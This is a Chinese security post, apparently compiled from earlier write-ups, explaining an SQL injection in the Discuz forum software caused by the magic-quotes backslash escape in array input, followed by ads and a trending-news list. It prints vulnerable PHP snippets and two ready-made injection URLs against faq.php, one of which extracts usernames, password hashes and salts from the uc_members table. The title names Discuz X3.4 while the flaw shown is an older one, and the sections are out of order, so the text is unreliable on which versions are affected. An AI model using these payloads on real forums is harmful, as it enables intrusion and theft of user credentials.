Discuz_X3.4 论坛最新网站漏洞
Discuz树大招风已成常态,不过对于其他整站程序何尝不是如此?是否曾记得大明湖畔的PHPCMS和DEDCMS万人破的场景,流行整站程序最重要的还是漏洞的快速响应。
上面的代码原本期望得到一个经过daddslashes()安全处理后的数组变量$xigr['hi'],但是没有对变量$xigr做严格的类型规定,当我们提交一个字符串变量$xigr='ryat,经过上面的处理变为\'ryat,到最后$xigr['hi']就会输出\,如果这个变量引入到SQL语句,那么就会引起严重的安全问题了,再来看下面的代码片段:
利用上面提到的思路,通过提交foo.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞。
0x01 漏洞成因:
在《高级PHP应用程序漏洞审核技术》一文里的"魔术引号带来的新的安全问题"一节里,有提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次完美体现,如下面的代码片段:1 // foo.php?xigr='ryat 2 3 function daddslashes($string, $force = 0) { 4 !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); 5 if(!MAGIC_QUOTES_GPC || $force) { 6 if(is_array($string)) { 7 foreach($string as $key => $val) { 8 $string[$key] = daddslashes($val, $force); 9 } 10 } else { 11 $string = addslashes($string); 12 } 13 } 14 return $string; 15 } 16 ... 17 foreach(array('_COOKIE', '_POST', '_GET') as $_request) { 18 foreach($$_request as $_key => $_value) { 19 $_key{0} != '_' && $$_key = daddslashes($_value); 20 } 21 } 22 23 echo $xigr['hi'];
1 if($xigr) { 2 foreach($xigr as $k => $v) { 3 $uids[] = $v['uid']; 4 } 5 $query = $db->query("SELECT uid FROM users WHERE uid IN ('".implode("','", $uids)."')");
0x02 漏洞测试
测试漏洞存在的语句 & 爆出账号+密码+salt的语句:http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23// 综合自Freebuf分析 & http://www.80vul.com/webzine_0x06/PSTZine_0x06_0x03.txt
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 准确把握守正创新的辩证关系 7964182
- 2 搞“人草大战” 副市长等9人被处理 7923304
- 3 32岁飞行员失联车内情况被还原 7857955
- 4 消费品以旧换新“加速度” 7763407
- 5 哈尔滨一冰雕多处血印?媒体核查 7663665
- 6 蒋欣瘦了20斤 7533329
- 7 男子靠5个单词卖爆义乌玩具 7465507
- 8 还有8天刑满释放的他改判死缓 7328979
- 9 张馨予老公年薪15万 7280194
- 10 《新闻联播》披露他生前最后画面 7144905